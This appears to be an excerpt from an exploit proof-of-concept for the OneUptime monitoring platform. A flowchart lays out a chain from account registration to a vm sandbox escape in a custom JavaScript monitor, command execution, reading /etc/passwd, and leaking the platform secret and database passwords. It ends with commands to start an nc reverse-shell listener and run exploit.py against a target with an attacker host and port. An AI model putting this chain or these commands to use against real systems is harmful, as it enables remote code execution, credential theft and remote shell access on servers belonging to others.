flowchart TD
    A[Start] --> B[Open Registration]
    B --> C[Register New Account]
    C --> D[Create New Project]
    D --> E[Obtain ProjectMember Role]
    E --> F[Create Custom JavaScript Monitor]
    F --> G[Inject Malicious vm Escape Payload]
    G --> H[Probe Executes Code Every ~60s]
    H --> I[Escape vm Context via constructor chain]
    I --> J[Access process & child_process]
    J --> K[Execute System Commands]
    J --> L[Leak Environment Variables]
    K --> M[Read /etc/passwd, id, hostname, etc.]
    L --> N[Extract ONEUPTIME_SECRET, DB/Redis passwords, etc.]
    M --> O[Full RCE Achieved]
    N --> O
    O --> P[Optional: Reverse Shell / Data Exfiltration]
    P --> Q[End - System Compromised]

# Start listener (if using reverse shell)
nc -lvnp 4444

# Run the exploit
python3 exploit.py http://target:3002 --lhost YOUR_IP --lport 4444